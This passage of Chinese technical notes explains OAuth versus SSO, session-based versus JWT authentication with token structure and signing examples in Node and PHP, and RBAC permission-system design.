Server)已经是登录的,这里并没有询问用户是否授权京东访问自己在微信的资源,直接将code返回给了京东,从而使京东登录,并且在京东里显示的用户在微信中的昵称和头像等信息。 使用静默登录一般都是系统做的比较牛了,被资源方看中了,要把你的系统嵌入到资源方去,比如微信中嵌入了京东。 上面的例子中只做了获取用户信息,其实还可以开放很多信息,例如用户的账户余额等,要开放哪些资源就看OAuth Server的了,这也就是常说的open api。要做open api,上面的OAuth流程是必不可少的 【 与单点登录(SSO)的对比 】 单点登录(SSO)是保障客户端(app1)的用户资源的安全 OAuth则是保障服务端(OAuth)的用户资源的安全 单点登录(SSO)的客户端(app1)要获取的最终信息是这个用户到底有没有权限访问我(app1)的资源。 OAuth获取的最终信息是,我(OAuth Server)的用户的资源到底能不能让你(app1)访问。 单点登录(SSO),资源都在客户端(app1)这边,不在SSO Server那一方。 用户在给SSO Server提供了用户名密码后,作为客户端app1并不知道这件事。 随便给客户端(app1)个ST,那么客户端(app1)是不能确定这个ST是否有效,所以要拿着这个ST去SSO Server再问一下,这个ST是否有效,是有效的我(app1)才能让这个用户访问。 OAuth认证,资源都在OAuth Server那一方,客户端(app1)想获取OAuth Server的用户资源。 所以在最安全的模式下,用户授权之后,服务端(OAuth Server)并不能通过重定向将token发给客户端(app1),因为这个token有可能被黑客截获,如果黑客截获了这个token,那么用户的资源(OAuth Server)也就暴露在这个黑客之下了。 于是OAuth Server通过重定向发送了一个认证code给客户端(app1),客户端(app1)在后台,通过https的方式,用这个code,以及客户端和服务端预先商量好的密码(appid和appSecret),才能获取到token,这个过程是非常安全的。 如果黑客截获了code,他没有那串预先商量好的密码(appid和appSecret),他也是无法获取token的。 这样OAuth就能保证请求资源这件事,是用户同意的,客户端(app1)也是被认可的,可以放心的把资源发给这个客户端(app1)了。 所以单点登录(SSO)和OAuth在流程上的最大区别就是,通过ST或者code去认证的时候,需不需要预先商量好的密码(appid和appSecret) 总结 OAuth和SSO都可以做统一认证登录,但是OAuth的流程比SSO复杂。SSO只能做用户的认证登录,OAuth不仅能做用户的认证登录,开可以做 open api开放更多的用户资源
JWT(Json web token) app接口鉴权 https://jwt.io/
jwt是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准(RFC7519),该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录场景。
JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密
jwt使用JSON来传递数据,用于判定用户是否登录状态,是目前最流行的跨域身份验证解决方案,用来代替session做用户认证
JWT的作用是加密和解密,可把一堆数据加密并生成一串密文,也可以把密文解密还原原始数据,这样一来就可以用JWT加密个人登录信息,以便个人登录时提供密文证明自己是合法用户。
例如: 把登录后的uid等信息加密形成密文,然后发回客户端,客户端以后每次访问带有权限验证的页面都携带密文,并依赖这一串密文作为访问服务端的权限,服务服务端通过解密得到uid等信息,说明是已登录过的用户,并开放访问。
这样就必须要求客户端在访问每个需要验证的页面都必须携带密文,同时在服务端也就不需要使用session验证了,也避免了服务端session数据大的时候引起的问题。
因为加密的密文不是很长,服务端解密是很快的,所以不会给服务端造成压力,这样带来的好处是多种设备使用一种密钥都可以通用,可以避开手机端使用session等问题。
传统的session认证
http协议是一种无状态的协议,如果用户向应用提供了用户名密码来进行用户认证,下一次请求时用户还要再一次进行用户认证,因为根据http协议并不能知道是哪个用户发出的请求,所以为了让应用能识别是哪个用户发出的请求,只能在服务器存储一份用户登录的信息,这份登录信息会在响应时传递给浏览器,告诉其保存为cookie,以便下次请求时发送给应用,这样应用就能识别请求来自哪个用户了,这就是传统的基于session认证。传统的session认证方式对于单机单端应用非常方便。
1.用户向服务器发送用户名和密码。
2.验证服务器后,相关数据(如用户角色,登录时间等)将保存在当前会话中。
3.服务器向用户返回session_id,session信息都会写入到用户的Cookie。
4.用户的每个后续请求都将通过在Cookie中取出session_id传给服务器。
5.服务器收到session_id并对比之前保存的数据,确认用户的身份。
这种模式最大的问题是没有分布式架构,无法支持横向扩展,支持浏览器,但是不支持app。如果使用一个服务器该模式完全没有问题,但如果是服务器群集或面向服务的跨域体系结构则需要一个统一的session数据库库来保存会话数据实现共享,这样负载均衡下的每个服务器才可以正确的验证用户身份。
举一个实际中常见的单点登陆的需求: 站点A和站点B提供同一公司的相关服务。现在要求用户只需要登录其中一个网站,然后它就会自动登录到另一个网站
一种解决方案是持久化session数据,写入数据库或文件持久层等。收到请求后,验证服务从持久层请求数据。该解决方案的优点在于架构清晰,而缺点是架构修改比较费劲,整个服务的验证逻辑层都需要重写,工作量相对较大。而且由于依赖于持久层的数据库或问题系统,会有单点风险,如果持久层失败,整个认证体系都会挂掉。session存redis每次验证都是一次网络请求
另外一种灵活的解决方案,通过客户端保存数据,而服务器根本不保存会话数据,每个请求都被发送回服务器,JWT是这种解决方案的代表,jwt是纯加密验证
但这种基于session的认证使应用本身很难得到扩展,随着手机、电视等多种客户端(多端)的出现,独立的服务器已无法承载更多的用户,而这时候基于session认证应用的问题就会暴露出来。
session的缺点:
1、数据以纯文本形式存储在服务器上
即使数据通常不存储在公用文件夹中,但任何具有访问权限的人都可以读取到session会话文件的内容。
2、文件读写请求
每次会话开始和数据被修改时,服务器都需要更新会话文件,这些文件读写都要消耗资源。每当应用程序发送会话cookie时也是如此。如果应用用户量比较大,服务器保存的用户信息越来越多,服务端开销明显增大,将会导致服务器响应速度变慢,当然也可以使用redis基于内存来存储session或加大硬件配置,但随着认证用户的增多,服务端的开销会明显增大,这都不是最终解决办法。
3、分布式应用
由于session文件默认存储在文件系统中,因此对于多台服务器分布式负载均衡、集群方式架构的高可用应用就显得有点力不从心了,可能要考虑session会话同步的问题了。
4、由于是基于cookie来进行用户识别的,如果cookie被截取,会受到跨站请求伪造的攻击
传统登录的方式是使用session + token。
token是指在客户端使用token作为用户状态凭证,浏览器一般存储在localStorage或cookie中。
session是指在服务器端使用redis或sql类数据库存储user_id及token的键值对关系,基本工作原理如下
const sessions = {
"ABCED1": 10086,
"CDEFA0": 10010
}
// 通过token获取user_id完成认证过程
function getUserIdByToken (token) {
return sessions[token]
}
如果存储在cookie中就是经常听到的session+cookie的登录方案。其实存储在cookie、localStorage甚至IndexedDB或WebSQL各有利弊,核心思想一致。
如果不使用cookie,可以采取localStorage + Authorization的方式进行认证。
使用fetch发送http的头,每次请求权限接口时需要携带Authorization Header使用axios发送Koa2中的具体实现: 1、签发token使用jsonwebtoken 2、验证token使用koa-jwt中间件 jsonwebtoken是Node环境下JWT的实现,提供了一些API快速的实现JWT的设计。 $ npm install jsonwebtoken --save 签发token(加密) jwt.sign(payload,secretOrPrivateKey,[options,callback]) payload: 可以是以object或string或buffer(object会被使用JSON.stringify方法转换为字符串) secretOrPrivateKey: 用来加密的密钥 options: algorithm: 加密算法(默认值HS256)–(alg) expriesIn: 失效时间,数字默认单位为秒,字符串需指明时间单位,如60、2 days、10h、7d(如果是字符串并且没有单位,单位默认为毫秒)–(exp) notBefore: 生效时间,单位规则同expriesInd–(nbf) audience: token的接受者–(aud) issuer: 签名的发行者–(iss) jwtid: JWT的ID subject: JWT的主题–(sub) noTimestamp: 不需要时间戳 header: 头部信息 callback: 加密失败的回调函数
kow-jwt 在Koa2中实现JWT的认证有中间件koa-jwt,但签发token的过程还是要安装上述过程,使用jsonwebtoken实现
无状态登录 session需要在数据库中保持用户及token对应信息,所以叫有状态。 如何在数据库中不保持用户状态也可以登录? 第一种方法: 前端直接传user_id给服务端,缺点也特别特别明显,容易被用户篡改user_id,权限设置形同虚设。不过思路正确,接着往下走。 改进: 对user_id进行对称加密,比上边略微强点,如果说上一种方法是空窗户,这种方法就是糊了纸的窗户。 改进: 对user_id不需要加密,只需要进行签名,保证不被篡改,这便是jwt的思想,user_id,加密算法和签名一起存储到客户端,每次请求接口时服务器判断签名是否一致。 急需一种机制,每个请求中可以在请求header头或url中带上一串密钥,这个密钥就是通行证,而这个密钥的合法性和有效性由服务端来控制,那么服务端只需鉴定这个密钥是不是授权的真实密钥,无需保存session文件信息,这个密钥就是token即令牌。 基于token的鉴权机制 基于token的鉴权机制类似于http协议也是无状态的,它不需要在服务端去保留用户的认证信息或会话信息,这就意味着基于token认证机制的应用不需要去考虑用户在哪一台服务器登录了,这就为应用的扩展提供了便利。 JSON Web Signature是一种加密机制,旨在保护具有对token内容唯一的数字签名的数据,以便能够确定token的数据是否已被篡改。 JWT的使用比单个API密钥有许多优点: 1、API密钥只是随机字符串,而JWT则包含可在一个时间范围或域内描述用户身份,授权数据和令牌有效性的信息和元数据 2、Oauth2兼容 3、JWT数据可以被检查 4、JWT有失效控制 流程: 1、用户使用用户名密码来请求服务器 2、服务器进行验证用户的信息 3、服务器通过验证发送给用户一个token 4、客户端存储token,并在每次请求时附上这个token值 5、服务端验证token值,并返回数据 这个token必须要在每次请求时传递给服务端,它应该保存在请求头里,另外服务端要支持CORS(跨来源资源共享)策略,一般在服务端设置Access-Control-Allow-Origin: * JWT就是一个字符串,经过加密处理与校验处理的字符串 基于token的身份验证可以替代传统的cookie+session身份验证方法 JWT的几个特点: 1、由于它们的尺寸较小,JWT可以通过URL、POST参数或HTTP头部发送,尺寸越小意味着传输速度越快。 2、有效载荷包含有关用户的所有必需信息,避免了多次查询数据库的需要。 JWT的使用场景: 1、验证 这是使用JWT最常见的情况。一旦用户登录,每个后续请求将包括JWT。它将允许用户访问该令牌允许的路由、服务和资源。单点登录是当今广泛使用JWT的一项功能,因为它的开销很小,而且能够轻松地跨不同域使用。 2、信息交换 JWT是在各方之间安全传输信息的好方法,因为JWT可以被签名(例如使用公钥/私钥对进行签名)。所以可以确定发件人是他们说的那个人。此外由于使用头部(header)和有效载荷(payload)计算签名,因此还可以验证内容是否未被篡改。 wt的token方案最适合的场景是无状态的场景,若需要考虑token注销和某些token续签的场景,实际上就是给token加上了状态,这就类似于传统的方案了,但相比传统方案的优势是,服务端可以不用长期保存用户状态,仅在一定时间段内保留一小部分状态即可。
JWT的结构
JWT包含三个由点(.)分隔的部分,header.payload.signature
头部(header)
有效负载(payload)
签名(signature)
JWT通常看起来如:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE0MTY5MjkxMDksImp0aSI6ImFhN2Y4ZDBhOTVjIiwic2NvcGVzIjpbInJlcG8iLCJwdWJsaWNfcmVwbyJdfQ.XCEwpBGvOLma4TCoh36FU7XhUbcskygS81HE1uHLf0E
1、头部 header
通常由两部分组成: 令牌的类型(即JWT)和使用的散列算法(如HMAC SHA256或RSA)
HEADER:ALGORITHM & TOKEN TYPE
{
"typ":"JWT",
"alg":"HS256"
}
这是一个json串,两个字段都必须,alg字段指定生成signature的算法,默认HS256,可指定其他的加密算法如RSA。base64encode编码加密后得到header形成JWT的第一部分
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
JWT作为一个令牌token,有些场合可能会放到URL(如api.example.com/?token=xxx)。Base64有三个字符+、/和=在URL里面有特殊含义,所以要被替换掉: =被省略、+替换成-,/替换成_,这就是Base64URL算法
2、令牌的第二部分是包含声明的有效载荷
Payload中由Registered Claim及需要通信传输的数据组成,这些数据字段也叫Claim
Registered Claim中比较重要的是"exp" Claim表示过期时间,在用户登录时会设置过期时间
载荷就是存放有效信息的地方,这些有效信息包含三个部分:
标准中注册的声明 Reserved claims
公共的声明 Public claims
私有的声明 Private claims
标准中注册的声明 (建议但不强制使用的一组预先定义的声明) :
iss (issuer): jwt签发人
exp (expiration time): jwt的过期时间,这个过期时间必须要大于签发时间
sub (subject): 主题,jwt所面向的用户
aud (audience): 受众,接收jwt的一方
nbf (Not Before): 生效时间,定义在什么时间之前该jwt都是不可用的
iat (Issued At): jwt的签发时间
jti (JWT ID): 编号,jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击
公共的声明 :
公共的声明可以添加任何的信息,一般添加用户的相关信息或其他业务需要的必要信息,但不建议添加敏感信息,因为该部分在客户端可解密。
私有的声明 :
私有声明是提供者和消费者所共同定义的声明,一般不建议存放敏感信息,因为base64是对称解密的,意味着该部分信息可以归类为明文信息。
自定义私有字段
PAYLOAD:DATA
{
"sub":"1234567890",
"name":"John Doe",
"admin":true,
"age": 14
}
然后将有效载荷进行Base64编码,以形成JSON Web令牌的第二部分
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9
简单:
$payload=[
'iss' => $issuer,
'iat' => $_SERVER['REQUEST_TIME'],
'exp' => $_SERVER['REQUEST_TIME'] + 7200
'uid'=>1111
];
复杂:
$token = [
"iss" => "http://example.org", #非必须。issuer请求实体,发起请求的用户的信息或jwt的签发者。
"iat" => $_SERVER['REQUEST_TIME'], #非必须。issued at,token创建时间,unix时间戳格式
"exp" => $_SERVER['REQUEST_TIME'] + 7200,#非必须。expire指定token的生命周期,unix时间戳格式
"aud" => "http://example.com", #非必须。接收该JWT的一方。
"sub" => "jrocket@example.com", #非必须。该JWT所面向的用户
"nbf" => 1357000000, #非必须。not before。如果当前时间在nbf时间之前则Token不被接受;一般都会留一些余地,比如几分钟。
"jti" => '222we', # 非必须。JWT ID,针对当前token的唯一标识
"GivenName" => "Jonny", # 自定义字段
"name" => "Rocket", # 自定义字段
"Email" => "jrocket@example.com",# 自定义字段
];
payload也是一个json数据,是表明用户身份的数据,可以自定义字段,经过json_encode和base64_encode就可得到payload
默认JWT是不加密的,任何人只要在网上进行Base64解码就可以读到信息,所以一般不要将秘密信息放在这个部分
一般Payload里面会存放一些用户信息,比如uid,如果Payload里面需要存放一些敏感信息,比如手机号,建议先加密Payload。
3、签名(signature)
jwt的第三部分是一个签证信息,是对前面的两部分的数据进行签名,防止用户篡改数据
签名通常用于验证JWT的发件人是谁,并JWT在传送的过程中不被篡改。
将header和payload使用header中指定的加密算法加密,当然加密过程还需要自定秘钥(密钥),自己选一个字符串就可以了,这个秘钥只有服务器才知道,不能泄露给用户
Sign由Header、Payload及secretOrPrivateKey计算而成,base64加密后的header和base64加密后的payload使用.连接组成的字符串,然后通过header中声明的加密方式进行加盐secret组合加密,然后就构成了jwt的第三部分
对于secretOrPrivateKey,如果加密算法采用HMAC则为字符串,如果采用RSA或ECDSA则为PrivateKey
secret是保存在服务器端的,JWT的签发生成也是在服务器端的,secret就是用来进行JWT的签发验证,所以它就是服务端的私钥,在任何场景都不应该流露出去。一旦客户端得知这个secret,客户端就可以自我签发jwt了
VIRIFY SIGNATURE
HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret )
这三个部分使用.连接成一个完整的字符串,构成了最终的jwt,然后就可以使用了,从生成jwt规则可知客户端可以解析出payload,因此不要在payload中携带敏感数据,比如用户密码
var encodedString = base64UrlEncode(header) + '.' + base64UrlEncode(payload);
var signature = HMACSHA256(encodedString, 'secret'); // TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ
var jwt = encodedString + '.' + signature;
echo jwt; // eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ
校验
在生成规则中可知,jwt前两部分是对header及payload的base64编码。
当服务器收到客户端的token后,解析前两部分得到header以及payload,并使用header中的算法与secretOrPrivateKey进行签名,判断与jwt中的签名是否一致
如果需要,可以使用jwt.io的Debugger工具来编码、验证和生成JWT
【 JWT使用流程 】
初次登录: 用户初次登录,输入用户名密码
密码验证: 服务器从数据库取出用户名和密码进行验证
生成JWT: 服务器端验证通过,根据从数据库返回的信息及预设规则生成JWT
返还JWT: 服务器的HTTP RESPONSE中将JWT返还
带JWT的请求: 以后客户端发起请求,HTTP REQUEST HEADER中的Authorizatio字段都要有值,为JWT
客户端接收服务器返回的JWT,将其存储在Cookie、localStorage、Header或POST请求体
如果将它存储在Cookie中就可以自动发送,但不会跨域,因此一般是将它放入HTTP请求的Header Authorization字段中,当跨域时也可以将JWT被放置于POST请求的数据主体中。
此后客户端将在与服务器交互中都会带JWT。一般默认的Value是以"Bearer "开始,Bearer之后有一个空格,以便后端进行分割。
Authorization: Bearer < token >
通常应该在请求的header头中的 Authorization字段使用 Bearer模式添加JWT(Authorization:Bearer ) 服务器端 $_SERVER[HTTP_AUTHORIZATION]: 获取
【 JWT的工作原理 】
在身份验证中,当用户使用他们的凭证(如用户名、密码)成功登录时,后台服务器将返回一个token,服务器仅依赖于这个token来标识用户,前端接收到这个token将其保存在本地(通常在本地存储中,也可以使用Cookie,但不是传统方法中创建会话,服务器并返回一个cookie)。下次用户想要访问受保护的路由或资源时就将本地保存的token放在头部Header中发送到后台服务器。服务器接收到请求,检查头部中token的存在,如果存在就允许访问受保护的路由或资源,否则就不允许
服务器不保存任何会话数据,即服务器变为无状态,使其更容易扩展
这是一种无状态身份验证机制,因为用户状态永远不会保存在服务器内存中。由于JWT是独立的,所有必要的信息都在那里,所以减少了多次查询数据库的需求
1、优点
(1)因为Json的通用性,所以JWT是可以进行跨语言支持的,像Java、Js、NodeJS、PHP等很多语言都可以使用。
(2)因为有了payload部分,所以JWT可以在自身存储一些其他业务逻辑所必要的非敏感信息。
(3)便于传输,JWT的构成非常简单,字节占用很小,所以它是非常便于传输的。
(4)它不需要在服务端保存会话信息,所以它易于应用的扩展
安全相关
1、JWT默认不加密,但可以加密,生成原始令牌后可以使用改令牌再次对其进行加密。
2、当JWT未加密方法时一些私密数据无法通过JWT传输。
3、JWT不仅可用于认证,还可用于信息交换,善用JWT有助于减少服务器请求数据库的次数。
4、JWT的最大缺点是服务器不保存会话状态,所以在使用期间不可能取消令牌或更改令牌的权限,即一旦JWT签发在有效期内将会一直有效。
5、JWT本身包含认证信息,因此一旦信息泄露,任何人都可以获得令牌的所有权限。为了减少盗用,JWT的有效期不宜设置太长。对于某些重要操作,用户在使用时应该每次都进行进行身份验证。
6、为了减少盗用和窃取,JWT不建议使用HTTP协议来传输代码,而是使用加密的HTTPS协议进行传输。
7、不应该在JWT的payload部分存放敏感信息,因为该部分是客户端可解密的部分。
8、保护好secret私钥,该私钥非常重要。
【 jwt的应用 】
jwt并不对数据进行加密,而是对数据进行签名,保证不被篡改。除了在登录中可以用到,在进行邮箱校验和图形验证码也可以用到
1、图形验证码
在登录时输入密码错误次数过多会出现图形验证码,图形验证码的原理是给客户端一个图形,并且在服务器端保存与这个图片配对的字符串,以前也大都通过session来实现,可以把验证码配对的字符串作为secret,进行无状态校验。
// 假设验证码为字符验证码,字符为ACDE,10分钟失效
const jwt = require('jsonwebtoken')
const token = jwt.sign({ userId: 10085 }, secrect + 'ACDE', { expiresIn: 60 * 10 })
2、邮箱校验
现在网站在注册成功后会进行邮箱校验,具体做法是给邮箱发一个链接,用户点开链接校验成功。
const code = jwt.sign({ email,userId },secret,{ expiresIn: 60 * 30 }) // 把邮箱及用户id绑定在一起
const link = `https://example.com/code=${code}` // 在此链接校验验证码
【 无状态 VS 有状态 】
关于无状态和有状态,在其它技术方向也有对比,比如React的stateLess component及stateful component,函数式编程中的副作用可以理解为状态,http也是一个无状态协议,需要靠header及cookie携带状态。
用户认证的有无状态是指是否依赖外部数据存储,如mysql,redis等。
思考以下几个关于登录的问题如何使用session及jwt实现
1、当用户注销时如何使该token失效
因为jwt无状态,不保存用户设备信息,没法单纯使用它完成以上问题,可以再利用数据库保存一些状态完成。
session: 只需要把user_id对应的token清掉即可
jwt: 使用redis维护一份黑名单,用户注销时加入黑名单(签名),过期时间与jwt的过期时间保持一致。
2、如何允许用户只能在一个设备登录,如微信
session: 使用sql类数据库,对用户数据库表添加token字段并加索引,每次登陆重置token字段,每次请求需要权限接口时根据token查找user_id
jwt: 假使使用sql类数据库,对用户数据库表添加token字段(不需要添加索引),每次登陆重置token字段,每次请求需要权限接口时根据jwt获取user_id,根据user_id查用户表获取token判断token是否一致。另外也可以使用计数器的方法,如下一个问题
对于这个需求,session稍微简单些,毕竟jwt也需要依赖数据库。
3、如何允许用户只能在最近五个设备登录,如诸多播放器
session: 使用sql类数据库,创建token数据库表,有id,token,user_id三个字段,user与token表为1:m关系。每次登录添加一行记录。根据token获取user_id,再根据user_id获取该用户有多少设备登录,超过5个,则删除最小id一行。
jwt: 使用计数器和sql类数据库,在用户表中添加字段count,默认值为0,每次登录count字段自增1,每次登录创建的jwt的Payload中携带数据current_count为用户的count 值。每次请求权限接口时,根据jwt获取count以及current_count,根据user_id查用户表获取count,判断与current_count差值是否小于5
对于这个需求,jwt略简单些,而使用session还需要多维护一张token表。
4、如何允许用户只能在最近五个设备登录,而且使某一用户踢掉除现有设备外的其它所有设备,如诸多播放器
session: 在上一个问题的基础上,删掉该设备以外其它所有的token记录。
jwt: 在上一个问题的基础上,对 count + 5,并对该设备重新赋值为新的 count。
5、如何显示该用户登录设备列表/如何踢掉特定用户
session: 在token表中新加列device
jwt: 需要服务器端保持设备列表信息,做法与session一样,使用jwt意义不大
总结
从以上问题得知,如果不需要控制登录设备数量以及设备信息,无状态的jwt是一个不错的选择。一旦涉及到了设备信息,就需要对jwt添加额外的状态支持,增加了认证的复杂度,此时选用session是一个不错的选择。
jwt不是万能的,是否采用jwt,需要根据业务需求来确定。
jwt属于无状态设计,用户登陆的信息关键存放在jwt加密数据里,这种设计下服务器不需要存储jwt密文,只需要解密就能拿到授权信息等用户信息。这种设计是一种利用计算力减少token设计下数据库及缓存的压力和设计复杂度,因此它的本质就是不存储登陆授权,而通过密文本身保存授权信息。
token加redis设计,是一种登陆后分配随机token,然后记录token与用户信息对应关系的设计。
这两张设计的区别就在于token实际上是需要服务器存储,每次验权需要查询数据库。jwt不需要服务器存储,信息本身就存储于jwt本身,这种模式无需使用数据库。
但是这种流行的jwt有一个设计上的缺陷,他通过密文传输用户信息,那么服务器在这种基础结构下是无法做到关闭用户登陆授权的操作,如果用户的jwt密文被偷窃,那么黑客就能以用户身份登陆,并且即使知道密文丢失,也无法关闭被偷窃的jwt密文。
为了应对这一问题,可以使用jwt内部验证有效期和jwt黑名单模式,但有效期始终无法做到及时停止jwt授权,这是一个治标不治本的方法。而jwt黑名单模式则需要数据库或内存存储黑名单,那么这实际上违背了jwt的免数据库设计原则。
因此如果严格按照两种模式设计,jwt更适合低安全级别的服务器设计,如普通的博客、阅读器等,这种服务允许不严格的登陆授权,即使密文丢失也不会造成用户的严重损失,却能获得较高的服务性能。
token模式必须配合数据库进行存储和查询,因此性能较低,但token模式却能做到及时的授权关闭,已经登陆授权可见可查,每一次token都会有对应的记录。因此token模式适合较高安全度和用户登陆等信息分析的系统,如政府系统,支付系统等不可能允许高权限的token被偷窃却不能及时关闭授权。
jwt,适合轻量的系统和权限不严格系统。
token,适合重量系统和权限有严格要求的系统。
token:
普通的token方式采用的是:登录-->生成随机字符串(token)-->服务器保存token与用户信息的对应关系
对应用户利用token校验的流程是 token-->查询token对应用户信息-->各系统根据用户信息进行业务处理。
很明显可以看出,token模式下的字符串实际上不需要和用户信息有任何关联,生成的token字符串的要求就是唯一,不能被其他用户占有,否则就会出现用户登录后实际上是以其他人身份进行业务处理。如果字符串是随机生成,那么黑客就无法猜测token的生成规律,也无法从token直接猜测到用户相关信息。
jwt:
jwt采用的生成:登录-->生成带有用户数据的加密字符串(该字符串服务器并不存储,直接下发给客户端)
校验:客户端将存储的jwt密文带上-->服务器解密密文,获取到用户信息
可以看出,jwt的凭证不仅要求唯一,还要求密文本身实际上是带有了用户信息,当然这块可以是非敏感信息,这只是实现上的细节区别,和结构本身没有特别大的关联。服务器本身并没有存储这次jwt密文,每次服务器的处理都是直接解密jwt密文。这样做的好处就是服务架构内直接抛弃了登录相关的传统token系统,并且服务器不再管理登录状态,token有效状态等问题。
而jwt带来的问题,凭证实际上的一串密文,更多的用户信息或session信息需要更大的密文来存储,进而每次请求都带上jwt就会使网络传输的内容变大,加大了网络开销;凭证是一串密文,那么如果黑客破解了服务器的加密方式,那么密文实际上就是用户信息在网络上传输,黑客可以直接伪造jwt登录或通过jwt密文获取到用户信息;jwt本身不管理jwt的有效性,一旦密文被偷窃,无法做到关闭掉黑客的授权。
PHP实现jwt
firebase/php-jwt
composer require firebase/php-jwt A simple library to encode and decode JSON Web Tokens (JWT) in PHP,conforming to RFC 7519Example with RS256 (openssl)lavarel app通过jwt鉴权
thinkphp + JWT实战
thinkphp 5.1+安装think-api扩展工具部署JWT 扩展下载地址: https://github.com/czewail/think-api ,通过 composer 安装依赖: $ composer require zewail/think-api:1.1.x
JWT实战: 使用axios+PHP实现登录认证
权限管理 权限系统设计
设计师在进行设计时常常会抽象出对产品有诉求的多个角色,再依据角色的特性去梳理使用场景并设计。
当角色之间的使用场景不冲突、不需要隔离时综合考虑这些角色的使用场景来设计解决方案,比如: 网易云音乐同时为需要听歌和听电台的用户提供所有的功能。
当这些角色的使用场景完全不重叠、��程对立时会设计完全独立的两套系统,如滴滴的司机端和乘客端;
但除了以上两种情况,在大多数B端产品中基于流程公正性、信息安全性等因素考虑,各个角色的使用场景是部分通用、部分隔离的,这时候就需要引入权限系统
设计B端产品,无可避免会涉及权限管理的问题,因为B端产品生来就是带着组织结构属性的,辅助分工、协调和合作,所以产品必须紧紧切合职、责、权这三个主题。
权限管理一般指根据系统设置的安全规则或安全策略,用户可以访问而且只能访问自己被授权的资源
权限管理是所有后台系统的都会涉及的一个重要组成部分,主要目的是对不同的人访问资源进行权限的控制,避免因权限控制缺失或操作不当引发的风险问题,如操作错误,隐私数据泄露等问题。
为什么要做权限管理呢?
权利不同可以了解的数据内容不同,保证数据隐私,避免数据泄密;
职责不同所需要页面不同,保证操作效率,避免页面干扰;
技术水平不同可以操作的功能不同,保证系统安全,避免操作风险。
还有其他要素都注定了要独立出一个权限管理模块来规范操作和数据权限
原则
1、权责明晰:
权: 专人做专事,既可以防止误操作,又避免干扰,比如自身才可以编辑和删除。
责: 能将错误行为定位到人,落实责任,比如操作作业和表都带上责任人的信息。
2、界限分明:
功能: 将功能按不同层级或属性进行划分;
数据: 将数据按业务类型或组织架构特性进行划分。
3、流程规范:
依赖: 允许用户依赖别人作业和查看作业信息,保证组织的流畅性;
继承: 根据实际情况要考虑流程的容错性,比如是否可以跨节点确认
原理
每个用户都需要权限限定,但直接给用户赋上权限会有很多问题:
1、工作量大,需要给每个用户依次赋上权限;
2、灵活度低,如果某个操作权限关掉了,需要一个个找出用户依次修改权限。
所以基于传统的权限模型进行改建,RBAC模型(Role-Based Access Control)是一个成熟的权限模型
RBAC基于角色的访问控制,不同于传统的权限模型直接赋予使用者权限,而是将权限赋予角色。
其基本理念是将"角色"这个概念赋予用户,在系统中用户与权限之间通过角色进行关联,以这样的方法来实现灵活配置
如果没有角色的概念,系统中每加入一个用户就需要直接为这个用户配置一遍权限,管理成本巨大
RBAC模型中最基本的模型: 用户与角色可为多对一或多对多的关系,当一个用户角色为多对多时当前用户的权限是多个角色的并集
此时只需要为角色赋予权限,能够大大减轻管理负担,同时将用户与权限解耦,提供更大的灵活性
用户与角色相关联,是多对多关系;
角色与权限相关联,是多对多关系
整个权限系统设计就是定义各个节点和节点间关系的过程。
节点包括: 用户、用户组、角色、角色组、权限(页面、操作、数据)、权限组(页面、操作、数据)
关系包括:
是/否关系;
继承关系;
限制关系(互斥、范围限制、边界限制、字段限制……);
【 引入用户组概念的RBAC模型 】
在大型平台的应用上,如果用户量上万,新增一个角色时可能需要为大量用户都分配一遍新的角色,工程量巨大,此时即可以引入用户组的概念。如果部分用户的使用场景是相对一致和基础的,可以把这些用户打包成一个组,基于这个组的对象进行角色和权限的赋予。
同理如果权限较多时也会存在一样的问题,处理方式是引入权限组的概念,将使用场景相对固定的一组功能或权限打包成组赋予角色。但一般来讲一个系统中权限功能的体量是相对有限和可控的,所以实际应用中对权限组的使用较少。
即使有用户组或权限组的存在,也可以允许用户或权限与角色直接关联,这个可以视具体业务情况而定
【 角色继承的RBAC模型 】
在一个业务场景中,如果角色需区分设计主管、设计组长、设计成员,并且管理方式为向下兼容时,则需使用角色继承的RBAC模型。上层角色继承下层角色的全部权限,且可额外赋予权限。
此时除了对角色进行定义,还需要管理角色间的关系,通过关系来体现角色的层级关系,从而达到继承权限的效果。角色的继承关系主要有两种: 树形图和有向无环图。
继承关系常来源于公司团队的组织结构,此时常将角色与组织结构进行关联达到继承角色模型的效果。如赵同学其角色是"三级团队负责人",与其并列的小组中有多个"三级团队负责人"的角色,但依附于左侧的组织结构树,各级负责人仅有查看和操作自己下属子节点的权限
【 限制的RBAC模型 】
在一个产品或系统中部分角色可能是需要隔离的、不允许被同时赋予一个人的,跟"不能既是运动员又是裁判员"一个道理。
因此对于众多角色中的一组,只能是单选的关系,但多组角色之间可以共同存在。一个用户可以既为设计师又为管理员,但在设计师角色组中仅能被赋予一个角色,在管理员角色组中也仅能被赋予一个角色
此外限制还有可能是数量上的,比如一个产品组中必须有且只有一个管理员,不允许删除或再分配管理员角色,仅允许将负责人角色变更。
限制的模型不仅仅对分配过程产生影响,有时即使拥有了多种角色,因为不同的角色对同一个功能的使用方式或数据会产生冲突,所以使用时也需要进行限制,如同一时间仅允许以一个身份登录
根据不同的业务需求,限制的形式很多。需要注意的是不能仅依赖后端限制,而是要在前端展示清晰的规则和恰当的限制,避免用户出错和沮丧
【 权限的拆分与设计 】
一般产品的权限由页面、操作和数据构成。页面与操作相互关联,必须拥有页面权限才能分配该页面下对应的操作权限,数据可被增删改查
因此在设计之初就需要考虑到未来可能区分角色的地方,尽量解耦、模块化。对于技术来说,每一个页面模块、操作都最好使用独立的接口。对于设计来说,需要保障所有角色因为权限而屏蔽掉部分操作和数据后,页面和流程仍能体验流畅。
